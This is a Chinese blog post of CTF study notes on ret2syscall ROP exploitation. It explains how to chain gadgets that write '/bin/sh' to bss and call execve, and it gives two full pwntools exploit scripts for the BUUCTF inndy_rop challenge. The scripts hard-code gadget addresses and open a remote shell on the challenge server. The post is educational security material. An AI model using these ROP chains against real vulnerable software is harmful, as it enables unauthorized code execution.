pwn ROP笔记1——ret2syscall

pwn ROP笔记

如果一个程序开启了NX保护,那么无法直接向栈或堆上注入shellcode执行,考虑利用程序中原本的代码。ROP(Return Oriented Programming,面向返回的编程)主要是在程序代码中寻找以ret结尾的代码片段(称为gadget),通过将这些程序中的片段串起来连续执行,就可以为我们所用,达成攻击的目的。ROP分为ret2text、ret2shellcode、ret2syscall、ret2libc四种方法,后面会一一介绍。

参考:基本 ROP - CTF Wiki (ctf-wiki.org)

ret2syscall

ret2syscall:通过ROP执行系统调用,利用系统调用来执行/bin/sh。系统调用之前需要将四个寄存器的值设定为:eax=excute的系统调用号,ebx='/bin/sh'的地址,ecx=0,edx=0。然后使用int 0x80来发起一个系统调用,该过程的汇编为

pop eax
pop ebx
pop ecx
pop edx
int 0x80

其中最重要的一步就是将'/bin/sh'的地址写入ebx,该如何做呢?

一种方法是寻找gadget片段法(形如pop ecx;retpop dword ptr [ecx];ret这样的gadget片段)。思想是将字符串'/bin/sh'存储到内存bss段中的一个位置,这是因为bss段内数据地址是不变的,便于之后将字符串写入ebx中,而写入bss则需要间接寻址,即借助一个ecx寄存器(也可以是其他寄存器)来存储bss地址。

具体操作是:按顺序压栈'/sh\x00'pop_[ecx]_addr、bss单元地址+4、pop_ecx_addr'/bin'pop_[ecx]_addr、bss单元地址、pop_ecx_addr。其payload为

payload = p32(pop_ecx_addr) + p32(bss_addr) + p32(pop_in_ecx_addr) + '/bin'
payload += p32(pop_ecx_addr) + p32(bss_addr+4) + p32(pop_in_ecx_addr) + '/sh\x00'

每两个元素构成一个操作,其中pop_ecx_addr指的是pop ecx;ret这条指令的地址,这条指令将操作数bss单元地址从栈顶pop到寄存器ecx中;pop_[ecx]_addr指的是pop dword ptr [ecx];ret这条指令的地址,这条指令将操作数'/bin'从栈顶pop到ecx里面存的地址对应的内存单元处。只有先将bss_addr写入ecx,才能将'/bin'写入[ecx]。下图展示了此时栈的内容,可以看到pop的顺序满足了上面的要求。

image

在将'/bin/sh'写入bss后,修改各寄存器发起系统调用。这样一来,运行程序后就会得到/bin/sh的权限了。下面以BUUCTF的inndy_rop题目为例进行实战分析。

BUUCTF inndy_rop pwn

IDA,发现main函数调用了overflow函数,除了一个gets获取输入外也没有其他信息了,结合题目名称考虑ROP

image

首先使用Linux下的ROPgadget工具,在文件中搜索pop进各种寄存器和内存的gadget片段(注意路径不能用~/代替/home/user/)

ROPgadget --binary '/home/mika/Desktop/rop'| grep 'pop dword ptr \[ecx\] ; ret'
ROPgadget --binary '/home/mika/Desktop/rop'| grep 'pop eax ; ret'
ROPgadget --binary '/home/mika/Desktop/rop'| grep 'pop ebx ; ret'
ROPgadget --binary '/home/mika/Desktop/rop'| grep 'pop ecx ; ret'
ROPgadget --binary '/home/mika/Desktop/rop'| grep 'pop edx ; ret'

image

image

image

记录下来这些片段的地址,就可以构造payload了

from pwn import *

p = remote("node4.buuoj.cn", 27514)

int_0x80_addr = 0x0806c943
bss_addr = 0x080EBB81   # 找一个空闲的bss单元
pop_eax_addr = 0x080b8016
pop_ebx_addr = 0x080481c9
pop_ecx_addr = 0x080de769
pop_edx_addr = 0x0806ecda
pop_in_ecx_addr = 0x0804b5ba

payload = b'a'*(0xc+4)   # 先跳过数组v1和ebp

payload += p32(pop_ecx_addr) + p32(bss_addr) + p32(pop_in_ecx_addr) + b'/bin'
payload += p32(pop_ecx_addr) + p32(bss_addr + 4) + p32(pop_in_ecx_addr) + b'/sh\x00'

payload += p32(pop_eax_addr) + p32(0xb) # excute的系统调用号是0xb
payload += p32(pop_ebx_addr) + p32(bss_addr)
payload += p32(pop_ecx_addr) + p32(0)
payload += p32(pop_edx_addr) + p32(0)
payload += p32(int_0x80_addr)

p.sendline(payload)
p.interactive()

image

更省事的方法是用下面的命令直接生成ropchain作为payload

ROPgadget --binary rop --ropchain
from pwn import *
from struct import pack

a = remote("node4.buuoj.cn", 27514)

p = b'0'*(0xc+4)   # 先跳过数组v1和ebp

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

a.sendline(p)
a.interactive()

通过上面的步骤可以看到,这种寻找片段法也有弊端,就是程序中必须要有供我们搜索的这些片段。

参考:ret2syscall的做题思路(以32位程序为例) - ZikH26 - 博客园 (cnblogs.com)

posted @ 2023-03-03 13:36  Nemuzuki  阅读(640)  评论(0编辑  收藏  举报